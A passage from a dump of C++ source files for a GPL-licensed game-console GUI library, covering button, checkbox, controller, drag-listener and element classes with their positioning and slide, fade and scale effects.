clearState(STATE_HELD, c->chan);\n                released(this, c, trigger[i]);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "src/gui/GuiButton.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_BUTTON_H_\n#define GUI_BUTTON_H_\n\n#include \"GuiElement.h\"\n#include \"GuiText.h\"\n#include \"GuiController.h\"\n#include \"GuiImage.h\"\n#include \"GuiSound.h\"\n#include \"GuiTrigger.h\"\n\n//!Display, manage, and manipulate buttons in the GUI. Buttons can have images, icons, text, and sound set (all of which are optional)\nclass GuiButton : public GuiElement\n{\n\tpublic:\n\t\t//!Constructor\n\t\t//!\\param w Width\n\t\t//!\\param h Height\n\t\tGuiButton(f32 w, f32 h);\n\t\t//!Destructor\n\t\tvirtual ~GuiButton();\n\t\t//!Sets the button's image\n\t\t//!\\param i Pointer to GuiImage object\n\t\tvoid setImage(GuiImage* i);\n\t\t//!Sets the button's image on over\n\t\t//!\\param i Pointer to GuiImage object\n\t\tvoid setImageOver(GuiImage* i);\n\n\t\tvoid setIcon(GuiImage* i);\n\t\tvoid setIconOver(GuiImage* i);\n\t\t//!Sets the button's image on hold\n\t\t//!\\param i Pointer to GuiImage object\n\t\tvoid setImageHold(GuiImage* i);\n\t\t//!Sets the button's image on click\n\t\t//!\\param i Pointer to GuiImage object\n\t\tvoid setImageClick(GuiImage* i);\n\t\t//!Sets the button's label\n\t\t//!\\param t Pointer to GuiText object\n\t\t//!\\param n Index of label to set (optional, default is 0)\n\t\tvoid setLabel(GuiText* t, s32 n = 0);\n\t\t//!Sets the button's label on over (eg: different colored text)\n\t\t//!\\param t Pointer to GuiText object\n\t\t//!\\param n Index of label to set (optional, default is 0)\n\t\tvoid setLabelOver(GuiText* t, s32 n = 0);\n\t\t//!Sets the button's label on hold\n\t\t//!\\param t Pointer to GuiText object\n\t\t//!\\param n Index of label to set (optional, default is 0)\n\t\tvoid setLabelHold(GuiText* t, s32 n = 0);\n\t\t//!Sets the button's label on click\n\t\t//!\\param t Pointer to GuiText object\n\t\t//!\\param n Index of label to set (optional, default is 0)\n\t\tvoid setLabelClick(GuiText* t, s32 n = 0);\n\t\t//!Sets the sound to play on over\n\t\t//!\\param s Pointer to GuiSound object\n\t\tvoid setSoundOver(GuiSound * s);\n\t\t//!Sets the sound to play on hold\n\t\t//!\\param s Pointer to GuiSound object\n\t\tvoid setSoundHold(GuiSound * s);\n\t\t//!Sets the sound to play on click\n\t\t//!\\param s Pointer to GuiSound object\n\t\tvoid setSoundClick(GuiSound * s);\n\t\t//!Set a new GuiTrigger for the element\n\t\t//!\\param i Index of trigger array to set\n\t\t//!\\param t Pointer to GuiTrigger\n\t\tvoid setTrigger(GuiTrigger * t, s32 idx = -1);\n\t\t//!\n\t\tvoid resetState(void);\n\t\t//!Constantly called to draw the GuiButton\n\t\tvoid draw(CVideo *video);\n\t\t//!Constantly called to allow the GuiButton to respond to updated input data\n\t\t//!\\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD\n\t\tvoid update(GuiController * c);\n\n\t\tsigslot::signal2<GuiButton *, const GuiController *> selected;\n\t\tsigslot::signal2<GuiButton *, const GuiController *> deSelected;\n\t\tsigslot::signal2<GuiButton *, const GuiController *> pointedOn;\n\t\tsigslot::signal2<GuiButton *, const GuiController *> pointedOff;\n\t\tsigslot::signal3<GuiButton *, const GuiController *, GuiTrigger *> clicked;\n\t\tsigslot::signal3<GuiButton *, const GuiController *, GuiTrigger *> held;\n\t\tsigslot::signal3<GuiButton *, const GuiController *, GuiTrigger *> released;\n\tprotected:\n        static const s32 iMaxGuiTriggers = 10;\n\n\t\tGuiImage * image; //!< Button image (default)\n\t\tGuiImage * imageOver; //!< Button image for STATE_SELECTED\n\t\tGuiImage * imageHold; //!< Button image for STATE_HELD\n\t\tGuiImage * imageClick; //!< Button image for STATE_CLICKED\n\t\tGuiImage * icon;\n\t\tGuiImage * iconOver;\n\t\tGuiText * label[4]; //!< Label(s) to display (default)\n\t\tGuiText * labelOver[4]; //!< Label(s) to display for STATE_SELECTED\n\t\tGuiText * labelHold[4]; //!< Label(s) to display for STATE_HELD\n\t\tGuiText * labelClick[4]; //!< Label(s) to display for STATE_CLICKED\n\t\tGuiSound * soundOver; //!< Sound to play for STATE_SELECTED\n\t\tGuiSound * soundHold; //!< Sound to play for STATE_HELD\n\t\tGuiSound * soundClick; //!< Sound to play for STATE_CLICKED\n\t\tGuiTrigger * trigger[iMaxGuiTriggers]; //!< GuiTriggers (input actions) that this element responds to\n\t\tGuiTrigger * clickedTrigger;\n\t\tGuiTrigger * heldTrigger;\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiCheckBox.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiCheckBox.h\"\n#include \"GuiImage.h\"\n#include \"GuiImageData.h\"\n/**\n * Constructor for the GuiCheckBox class.\n */\n\nGuiCheckBox::GuiCheckBox(bool checked)\n : GuiToggle(checked,50,50)\n ,checkbox_imgdata(Resources::GetImageData(\"checkbox.png\"))\n ,checkbox_img(checkbox_imgdata)\n ,checkbox_selected_imgdata(Resources::GetImageData(\"checkbox_selected.png\"))\n ,checkbox_selected_img(checkbox_selected_imgdata)\n ,highlighted_imgdata(Resources::GetImageData(\"checkbox_highlighted.png\"))\n ,highlighted_img(highlighted_imgdata)\n{\n    checkbox_selected_img.setScale(height/checkbox_selected_img.getHeight());\n    checkbox_img.setScale(height/checkbox_img.getHeight());\n    highlighted_img.setScale(height/highlighted_img.getHeight());\n\n    setImage(&checkbox_img);\n    setIconOver(&highlighted_img);\n}\n\n/**\n * Destructor for the GuiButton class.\n */\nGuiCheckBox::~GuiCheckBox()\n{\n    Resources::RemoveImageData(checkbox_imgdata);\n    Resources::RemoveImageData(checkbox_selected_imgdata);\n    Resources::RemoveImageData(highlighted_imgdata);\n}\n\n\nvoid GuiCheckBox::update(GuiController * c){\n    if(bChanged){\n        if(selected){\n            GuiButton::setImage(&checkbox_selected_img);\n        }else{\n            GuiButton::setImage(&checkbox_img);\n        }\n        bChanged = false;\n    }\n     GuiToggle::update(c);\n}\n\n"
  },
  {
    "path": "src/gui/GuiCheckBox.h",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_CHECKBOX_H_\n#define GUI_CHECKBOX_H_\n\n#include \"GuiToggle.h\"\n#include \"GuiImage.h\"\n#include \"GuiImageData.h\"\n\n//!A simple CheckBox\nclass GuiCheckBox : public GuiToggle\n{\n\tpublic:\n\t\t//!Constructor\n\t\t//!\\param checked Checked\n\t\tGuiCheckBox(bool checked);\n\t\t//!Destructor\n\t\tvirtual ~GuiCheckBox();\n\tprotected:\n\n       GuiImageData * checkbox_imgdata;\n       GuiImage checkbox_img;\n\n       GuiImageData * checkbox_selected_imgdata;\n       GuiImage checkbox_selected_img;\n\n       GuiImageData * highlighted_imgdata;\n       GuiImage highlighted_img;\n\n       void update(GuiController * c);\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiConfigurationScreen.h",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUICONFIGURATIONSCREEN_H_\n#define GUICONFIGURATIONSCREEN_H_\n\n#include \"Gui.h\"\n#include \"sigslot.h\"\n\nclass GuiConfigurationScreen : public GuiFrame\n{\npublic:\n    GuiConfigurationScreen(s32 w, s32 h) : GuiFrame(w, h) {}\n    virtual ~GuiConfigurationScreen() {}\n\n    sigslot::signal2<GuiConfigurationScreen *, s32> gameLaunchClicked;\n    sigslot::signal2<GuiConfigurationScreen *, s32> gameSelectionChanged;\n};\n\n#endif /* GUICONFIGURATIONSCREEN_H_ */\n"
  },
  {
    "path": "src/gui/GuiController.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_CONTROLLER_H_\n#define GUI_CONTROLLER_H_\n\n#include <string.h>\n#include \"GuiTrigger.h\"\n\nclass GuiController\n{\npublic:\n    //!Constructor\n    GuiController(s32 channel)\n        : chan(channel)\n    {\n        memset(&lastData, 0, sizeof(lastData));\n        memset(&data, 0, sizeof(data));\n\n        switch(chan)\n        {\n        default:\n        case GuiTrigger::CHANNEL_1:\n            chanIdx = 0;\n            break;\n        case GuiTrigger::CHANNEL_2:\n            chanIdx = 1;\n            break;\n        case GuiTrigger::CHANNEL_3:\n            chanIdx = 2;\n            break;\n        case GuiTrigger::CHANNEL_4:\n            chanIdx = 3;\n            break;\n        case GuiTrigger::CHANNEL_5:\n            chanIdx = 4;\n            break;\n        }\n    }\n\n    //!Destructor\n    virtual ~GuiController()  {}\n\n    virtual bool update(s32 width, s32 height) = 0;\n\n    typedef struct\n    {\n        u32 buttons_h;\n        u32 buttons_d;\n        u32 buttons_r;\n        bool validPointer;\n        bool touched;\n        float pointerAngle;\n        s32 x;\n        s32 y;\n    } PadData;\n\n    s32 chan;\n    s32 chanIdx;\n    PadData data;\n    PadData lastData;\n\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiDragListener.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n * based on GuiButton by dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiDragListener.h\"\n#include \"GuiController.h\"\n#include \"utils/logger.h\"\n\n/**\n * Constructor for the GuiDragListener class.\n */\n\nGuiDragListener::GuiDragListener(f32 w,f32 h){\n    width = w;\n    height = h;\n\tfor(s32 i = 0; i < iMaxGuiTriggers; i++)\n\t{\n\t\ttrigger[i] = NULL;\n\t}\n}\n\n/**\n * Destructor for the GuiDragListener class.\n */\nGuiDragListener::~GuiDragListener(){\n}\n\nvoid GuiDragListener::setState(s32 i, s32 c){\n    GuiElement::setState(i,c);\n}\n\nvoid GuiDragListener::setTrigger(GuiTrigger * t, s32 idx){\n    if(idx >= 0 && idx < iMaxGuiTriggers)\n    {\n        trigger[idx] = t;\n    }\n    else\n    {\n        for(s32 i = 0; i < iMaxGuiTriggers; i++)\n        {\n            if(!trigger[i])\n            {\n                trigger[i] = t;\n                break;\n            }\n        }\n    }\n}\n\nvoid GuiDragListener::update(GuiController * c){\n\tif(!c || isStateSet(STATE_DISABLED|STATE_HIDDEN|STATE_DISABLE_INPUT, c->chan))\n\t\treturn;\n\telse if(parentElement && (parentElement->isStateSet(STATE_DISABLED|STATE_HIDDEN|STATE_DISABLE_INPUT, c->chan)))\n\t\treturn;\n\n    for(s32 i = 0; i < iMaxGuiTriggers; i++){\n        if(!trigger[i]){\n            continue;\n        }\n\n        bool isHeld = trigger[i]->held(c);\n\n\n        if(isHeld && this->isInside(c->data.x, c->data.y)){\n            s32 dx = c->data.x - c->lastData.x;\n            s32 dy = c->data.y - c->lastData.y;\n\n            if(dx == 0 && dy == 0) continue;\n\n            dragged(this, c, trigger[i],dx,dy);\n        }\n    }\n}\n"
  },
  {
    "path": "src/gui/GuiDragListener.h",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_DRAG_LISTENER_H_\n#define GUI_DRAG_LISTENER_H_\n\n#include \"GuiElement.h\"\n#include \"GuiController.h\"\n#include \"GuiTrigger.h\"\n#include \"GuiButton.h\"\n\nclass GuiDragListener : public GuiElement\n{\n\tpublic:\n\t\t//!Constructor\n\t\t//!\\param w Width\n\t\t//!\\param h Height\n\t\tGuiDragListener(f32 w,f32 h);\n\t\t//!Destructor\n\t\tvirtual ~GuiDragListener();\n\n\t\tvoid setState(s32 i, s32 c);\n\n\t\t//!Set a new GuiTrigger for the element\n\t\t//!\\param i Index of trigger array to set\n\t\t//!\\param t Pointer to GuiTrigger\n\t\tvoid setTrigger(GuiTrigger * t, s32 idx = -1);\n\n\t\t//!Constantly called to allow the GuiDragListener to respond to updated input data\n\t\t//!\\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD\n\t\tvoid update(GuiController * c);\n\n\t\tsigslot::signal5<GuiDragListener *, const GuiController *, GuiTrigger *,s32,s32> dragged;\n\tprotected:\n        static const s32 iMaxGuiTriggers = 10;\n\n\t\tGuiTrigger * trigger[iMaxGuiTriggers]; //!< GuiTriggers (input actions) that this element responds to\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiElement.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiElement.h\"\n\n//! TODO remove this!\nstatic s32 screenwidth = 1280;\nstatic s32 screenheight = 720;\n\n/**\n * Constructor for the Object class.\n */\nGuiElement::GuiElement()\n{\n\txoffset = 0.0f;\n\tyoffset = 0.0f;\n\tzoffset = 0.0f;\n\twidth = 0.0f;\n\theight = 0.0f;\n\talpha = 1.0f;\n\tscaleX = 1.0f;\n\tscaleY = 1.0f;\n\tscaleZ = 1.0f;\n\tfor(s32 i = 0; i < 4; i++)\n        state[i] = STATE_DEFAULT;\n\tstateChan = -1;\n\tparentElement = NULL;\n\trumble = true;\n\tselectable = false;\n\tclickable = false;\n\tholdable = false;\n\tdrawOverOnlyWhenSelected = false;\n\tvisible = true;\n\tyoffsetDyn = 0;\n\txoffsetDyn = 0;\n\talphaDyn = -1;\n\tscaleDyn = 1;\n\teffects = EFFECT_NONE;\n\teffectAmount = 0;\n\teffectTarget = 0;\n\teffectsOver = EFFECT_NONE;\n\teffectAmountOver = 0;\n\teffectTargetOver = 0;\n\tangle = 0.0f;\n\n\t// default alignment - align to top left\n\talignment = (ALIGN_CENTER | ALIGN_MIDDLE);\n}\n\n/**\n * Get the left position of the GuiElement.\n * @see SetLeft()\n * @return Left position in pixel.\n */\nf32 GuiElement::getLeft()\n{\n\tf32 pWidth = 0;\n\tf32 pLeft = 0;\n\tf32 pScaleX = 1.0f;\n\n\tif(parentElement)\n\t{\n\t\tpWidth = parentElement->getWidth();\n\t\tpLeft = parentElement->getLeft();\n\t\tpScaleX = parentElement->getScaleX();\n\t}\n\n\tpLeft += xoffsetDyn;\n\n\tf32 x = pLeft;\n\n    //! TODO: the conversion from int to float and back to int is bad for performance, change that\n\tif(alignment & ALIGN_CENTER)\n\t{\n\t\tx = pLeft + pWidth * 0.5f * pScaleX - width * 0.5f * getScaleX();\n\t}\n\telse if(alignment & ALIGN_RIGHT)\n\t{\n\t\tx = pLeft + pWidth * pScaleX - width * getScaleX();\n\t}\n\n\treturn x + xoffset;\n}\n\n/**\n * Get the top position of the GuiElement.\n * @see SetTop()\n * @return Top position in pixel.\n */\nf32 GuiElement::getTop()\n{\n\tf32 pHeight = 0;\n\tf32 pTop = 0;\n\tf32 pScaleY = 1.0f;\n\n\tif(parentElement)\n\t{\n\t\tpHeight = parentElement->getHeight();\n\t\tpTop = parentElement->getTop();\n\t\tpScaleY = parentElement->getScaleY();\n\t}\n\n\tpTop += yoffsetDyn;\n\n\tf32 y = pTop;\n\n    //! TODO: the conversion from int to float and back to int is bad for performance, change that\n\tif(alignment & ALIGN_MIDDLE)\n\t{\n\t\ty = pTop + pHeight * 0.5f * pScaleY - getHeight() * 0.5f * getScaleY();\n\t}\n\telse if(alignment & ALIGN_BOTTOM)\n\t{\n\t\ty = pTop + pHeight * pScaleY - getHeight() * getScaleY();\n\t}\n\n\treturn y + yoffset;\n}\n\nvoid GuiElement::setEffect(s32 eff, s32 amount, s32 target)\n{\n\tif(eff & EFFECT_SLIDE_IN)\n\t{\n\t\t// these calculations overcompensate a little\n\t\tif(eff & EFFECT_SLIDE_TOP)\n\t\t{\n\t\t\tif(eff & EFFECT_SLIDE_FROM)\n\t\t\t\tyoffsetDyn = (s32) -getHeight()*scaleY;\n\t\t\telse\n\t\t\t\tyoffsetDyn = -screenheight;\n\t\t}\n\t\telse if(eff & EFFECT_SLIDE_LEFT)\n\t\t{\n\t\t\tif(eff & EFFECT_SLIDE_FROM)\n\t\t\t\txoffsetDyn = (s32) -getWidth()*scaleX;\n\t\t\telse\n\t\t\t\txoffsetDyn = -screenwidth;\n\t\t}\n\t\telse if(eff & EFFECT_SLIDE_BOTTOM)\n\t\t{\n\t\t\tif(eff & EFFECT_SLIDE_FROM)\n\t\t\t\tyoffsetDyn = (s32) getHeight()*scaleY;\n\t\t\telse\n\t\t\t\tyoffsetDyn = screenheight;\n\t\t}\n\t\telse if(eff & EFFECT_SLIDE_RIGHT)\n\t\t{\n\t\t\tif(eff & EFFECT_SLIDE_FROM)\n\t\t\t\txoffsetDyn = (s32) getWidth()*scaleX;\n\t\t\telse\n\t\t\t\txoffsetDyn = screenwidth;\n\t\t}\n\t}\n\tif((eff & EFFECT_FADE) && amount > 0)\n\t{\n\t\talphaDyn = 0;\n\t}\n\telse if((eff & EFFECT_FADE) && amount < 0)\n\t{\n\t\talphaDyn = alpha;\n\t}\n\teffects |= eff;\n\teffectAmount = amount;\n\teffectTarget = target;\n}\n\n//!Sets an effect to be enabled on wiimote cursor over\n//!\\param e Effect to enable\n//!\\param a Amount of the effect (usage varies on effect)\n//!\\param t Target amount of the effect (usage varies on effect)\nvoid GuiElement::setEffectOnOver(s32 e, s32 a, s32 t)\n{\n\teffectsOver |= e;\n\teffectAmountOver = a;\n\teffectTargetOver = t;\n}\n\nvoid GuiElement::resetEffects()\n{\n\tyoffsetDyn = 0;\n\txoffsetDyn = 0;\n\talphaDyn = -1;\n\tscaleDyn = 1;\n\teffects = EFFECT_NONE;\n\teffectAmount = 0;\n\teffectTarget = 0;\n\teffectsOver = EFFECT_NONE;\n\teffectAmountOver = 0;\n\teffectTargetOver = 0;\n}\nvoid GuiElement::updateEffects()\n{\n\tif(!this->isVisible() && parentElement)\n\t\treturn;\n\n\tif(effects & (EFFECT_SLIDE_IN | EFFECT_SLIDE_OUT | EFFECT_SLIDE_FROM))\n\t{\n\t\tif(effects & EFFECT_SLIDE_IN)\n\t\t{\n\t\t\tif(effects & EFFECT_SLIDE_LEFT)\n\t\t\t{\n\t\t\t\txoffsetDyn += effectAmount;\n\n\t\t\t\tif(xoffsetDyn >= 0)\n\t\t\t\t{\n\t\t\t\t\txoffsetDyn = 0;\n\t\t\t\t\teffects = 0;\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(effects & EFFECT_SLIDE_RIGHT)\n\t\t\t{\n\t\t\t\txoffsetDyn -= effectAmount;\n\n\t\t\t\tif(xoffsetDyn <= 0)\n\t\t\t\t{\n\t\t\t\t\txoffsetDyn = 0;\n\t\t\t\t\teffects = 0;\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(effects & EFFECT_SLIDE_TOP)\n\t\t\t{\n\t\t\t\tyoffsetDyn += effectAmount;\n\n\t\t\t\tif(yoffsetDyn >= 0)\n\t\t\t\t{\n\t\t\t\t\tyoffsetDyn = 0;\n\t\t\t\t\teffects = 0;\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(effects & EFFECT_SLIDE_BOTTOM)\n\t\t\t{\n\t\t\t\tyoffsetDyn -= effectAmount;\n\n\t\t\t\tif(yoffsetDyn <= 0)\n\t\t\t\t{\n\t\t\t\t\tyoffsetDyn = 0;\n\t\t\t\t\teffects = 0;\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif(effects & EFFECT_SLIDE_LEFT)\n\t\t\t{\n\t\t\t\txoffsetDyn -= effectAmount;\n\n\t\t\t\tif(xoffsetDyn <= -screenwidth) {\n\t\t\t\t\teffects = 0; // shut off effect\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t\telse if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn <= -getWidth()) {\n\t\t\t\t\teffects = 0; // shut off effect\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(effects & EFFECT_SLIDE_RIGHT)\n\t\t\t{\n\t\t\t\txoffsetDyn += effectAmount;\n\n\t\t\t\tif(xoffsetDyn >= screenwidth) {\n\t\t\t\t\teffects = 0; // shut off effect\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t\telse if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn >= getWidth()*scaleX) {\n\t\t\t\t\teffects = 0; // shut off effect\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(effects & EFFECT_SLIDE_TOP)\n\t\t\t{\n\t\t\t\tyoffsetDyn -= effectAmount;\n\n\t\t\t\tif(yoffsetDyn <= -screenheight) {\n\t\t\t\t\teffects = 0; // shut off effect\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t\telse if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn <= -getHeight()) {\n\t\t\t\t\teffects = 0; // shut off effect\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(effects & EFFECT_SLIDE_BOTTOM)\n\t\t\t{\n\t\t\t\tyoffsetDyn += effectAmount;\n\n\t\t\t\tif(yoffsetDyn >= screenheight) {\n\t\t\t\t\teffects = 0; // shut off effect\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t\telse if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn >= getHeight()) {\n\t\t\t\t\teffects = 0; // shut off effect\n                    effectFinished(this);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\telse if(effects & EFFECT_FADE)\n\t{\n\t\talphaDyn += effectAmount * (1.0f / 255.0f);\n\n\t\tif(effectAmount < 0 && alphaDyn <= 0)\n\t\t{\n\t\t\talphaDyn = 0;\n\t\t\teffects = 0; // shut off effect\n\t\t\teffectFinished(this);\n\t\t}\n\t\telse if(effectAmount > 0 && alphaDyn >= alpha)\n\t\t{\n\t\t\talphaDyn = alpha;\n\t\t\teffects = 0; // shut off effect\n\t\t\teffectFinished(this);\n\t\t}\n\t}\n\telse if(effects & EFFECT_SCALE)\n\t{\n\t\tscaleDyn += effectAmount * 0.01f;\n\n\t\tif((effectAmount < 0 && scaleDyn <= (effectTarget * 0.01f))\n\t\t\t|| (effectAmount > 0 && scaleDyn >= (effectTarget * 0.01f)))\n\t\t{\n\t\t\tscaleDyn = effectTarget * 0.01f;\n\t\t\teffects = 0; // shut off effect\n\t\t\teffectFinished(this);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "src/gui/GuiElement.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_ELEMENT_H_\n#define GUI_ELEMENT_H_\n\n#include <string>\n#include <vector>\n#include <gctypes.h>\n#include <malloc.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <wchar.h>\n#include <math.h>\n\n#include \"sigslot.h\"\n#include \"glm/glm.hpp\"\n#include \"glm/gtc/matrix_transform.hpp\"\n\n#include \"dynamic_libs/gx2_types.h\"\n#include \"resources/Resources.h\"\n#include \"system/AsyncDeleter.h\"\n#include \"language/gettext.h\"\n#include \"utils/logger.h\"\n\nenum\n{\n    EFFECT_NONE             = 0x00,\n    EFFECT_SLIDE_TOP        = 0x01,\n    EFFECT_SLIDE_BOTTOM     = 0x02,\n    EFFECT_SLIDE_RIGHT      = 0x04,\n    EFFECT_SLIDE_LEFT       = 0x08,\n    EFFECT_SLIDE_IN         = 0x10,\n    EFFECT_SLIDE_OUT        = 0x20,\n    EFFECT_SLIDE_FROM       = 0x40,\n    EFFECT_FADE             = 0x80,\n    EFFECT_SCALE            = 0x100,\n    EFFECT_COLOR_TRANSITION = 0x200\n};\n\nenum\n{\n    ALIGN_LEFT          = 0x01,\n    ALIGN_CENTER        = 0x02,\n    ALIGN_RIGHT         = 0x04,\n    ALIGN_TOP           = 0x10,\n    ALIGN_MIDDLE        = 0x20,\n    ALIGN_BOTTOM        = 0x40,\n    ALIGN_TOP_LEFT      = ALIGN_LEFT | ALIGN_TOP,\n    ALIGN_TOP_CENTER    = ALIGN_CENTER | ALIGN_TOP,\n    ALIGN_TOP_RIGHT     = ALIGN_RIGHT | ALIGN_TOP,\n    ALIGN_CENTERED      = ALIGN_CENTER | ALIGN_MIDDLE,\n};\n\n//!Forward declaration\nclass GuiController;\nclass CVideo;\n\n//!Primary GUI class. Most other classes inherit from this class.\nclass GuiElement : public AsyncDeleter::Element\n{\n    public:\n        //!Constructor\n        GuiElement();\n        //!Destructor\n        virtual ~GuiElement() {}\n        //!Set the element's parent\n        //!\\param e Pointer to parent element\n        virtual void setParent(GuiElement * e) { parentElement = e; }\n        //!Gets the element's parent\n        //!\\return Pointer to parent element\n        virtual GuiElement * getParent() { return parentElement; }\n        //!Gets the current leftmost coordinate of the element\n        //!Considers horizontal alignment, x offset, width, and parent element's GetLeft() / GetWidth() values\n        //!\\return left coordinate\n        virtual f32 getLeft();\n        //!Gets the current topmost coordinate of the element\n        //!Considers vertical alignment, y offset, height, and parent element's GetTop() / GetHeight() values\n        //!\\return top coordinate\n        virtual f32 getTop();\n        //!Gets the current Z coordinate of the element\n        //!\\return Z coordinate\n        virtual f32 getDepth()\n        {\n            f32 zParent = 0.0f;\n\n            if(parentElement)\n                zParent = parentElement->getDepth();\n\n            return zParent+zoffset;\n        }\n\n        virtual f32 getCenterX(void)\n        {\n            f32 pCenterX = 0.0f;\n\n            if(parentElement)\n                pCenterX = parentElement->getCenterX();\n\n            pCenterX += xoffset + xoffsetDyn;\n\n            if(alignment & ALIGN_LEFT)\n            {\n                f32 pWidth = 0.0f;\n                f32 pScale = 0.0f;\n\n                if(parentElement)\n                {\n                    pWidth = parentElement->getWidth();\n                    